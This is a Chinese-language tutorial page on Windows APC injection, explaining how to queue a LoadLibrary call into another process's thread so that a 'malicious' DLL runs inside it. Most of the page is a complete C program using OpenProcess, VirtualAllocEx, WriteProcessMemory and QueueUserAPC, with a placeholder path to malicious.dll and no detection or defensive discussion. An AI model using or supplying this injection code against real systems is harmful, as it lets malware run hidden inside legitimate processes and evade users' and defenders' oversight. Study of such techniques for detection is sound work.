跳到主要内容

APC 异步过程调用注入介绍

APC 注入(Asynchronous Procedure Call Injection)是一种利用 Windows 操作系统中的异步过程调用(APC)机制,将恶意代码注入到目标进程的技术。APC 是 Windows 内核的一种机制,允许线程在特定的时机执行指定的函数。通过将恶意函数排入目标线程的 APC 队列,可以在目标进程中执行恶意代码。

原理

APC 注入的基本原理是将一个 APC 请求插入到目标进程的线程队列中,这个请求会调用特定的函数(通常是 LoadLibrary),从而实现代码注入。

具体步骤

  1. 获取目标进程和线程句柄:需要打开目标进程并获取目标线程的句柄。
  2. 分配内存:在目标进程中分配内存,用于存储要注入的 DLL 路径。
  3. 写入 DLL 路径:将 DLL 路径写入目标进程的内存。
  4. 插入 APC 请求:使用 QueueUserAPC 函数,将调用 LoadLibrary 的 APC 请求插入目标线程的 APC 队列。
  5. 触发 APC:使目标线程进入可执行 APC 的状态,通常是通过等待某些事件或使其进入警报可等待状态(Alertable State)。

示例代码

下面是一个使用 APC 注入技术将恶意 DLL 注入到目标进程的示例代码:

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// 获取目标进程的线程句柄
HANDLE GetThreadHandle(DWORD dwProcessId) {
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;

hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE) return NULL;

te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hThreadSnap, &te32)) {
CloseHandle(hThreadSnap);
return NULL;
}

do {
if (te32.th32OwnerProcessID == dwProcessId) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, FALSE, te32.th32ThreadID);
if (hThread) {
CloseHandle(hThreadSnap);
return hThread;
}
}
} while (Thread32Next(hThreadSnap, &te32));

CloseHandle(hThreadSnap);
return NULL;
}

void InjectAPC(DWORD dwProcessId, const char* dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL) {
printf("OpenProcess failed\n");
return;
}

SIZE_T dllPathSize = strlen(dllPath) + 1;
LPVOID pDllPathRemote = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT, PAGE_READWRITE);
if (pDllPathRemote == NULL) {
printf("VirtualAllocEx failed\n");
CloseHandle(hProcess);
return;
}

if (!WriteProcessMemory(hProcess, pDllPathRemote, dllPath, dllPathSize, NULL)) {
printf("WriteProcessMemory failed\n");
VirtualFreeEx(hProcess, pDllPathRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}

HANDLE hThread = GetThreadHandle(dwProcessId);
if (hThread == NULL) {
printf("GetThreadHandle failed\n");
VirtualFreeEx(hProcess, pDllPathRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}

if (!QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)pDllPathRemote)) {
printf("QueueUserAPC failed\n");
CloseHandle(hThread);
VirtualFreeEx(hProcess, pDllPathRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}

// 触发 APC
ResumeThread(hThread);

CloseHandle(hThread);
CloseHandle(hProcess);
}

int main() {
DWORD dwProcessId = 1234; // 目标进程的 PID
const char* dllPath = "C:\\path\\to\\your\\malicious.dll";

InjectAPC(dwProcessId, dllPath);

return 0;
}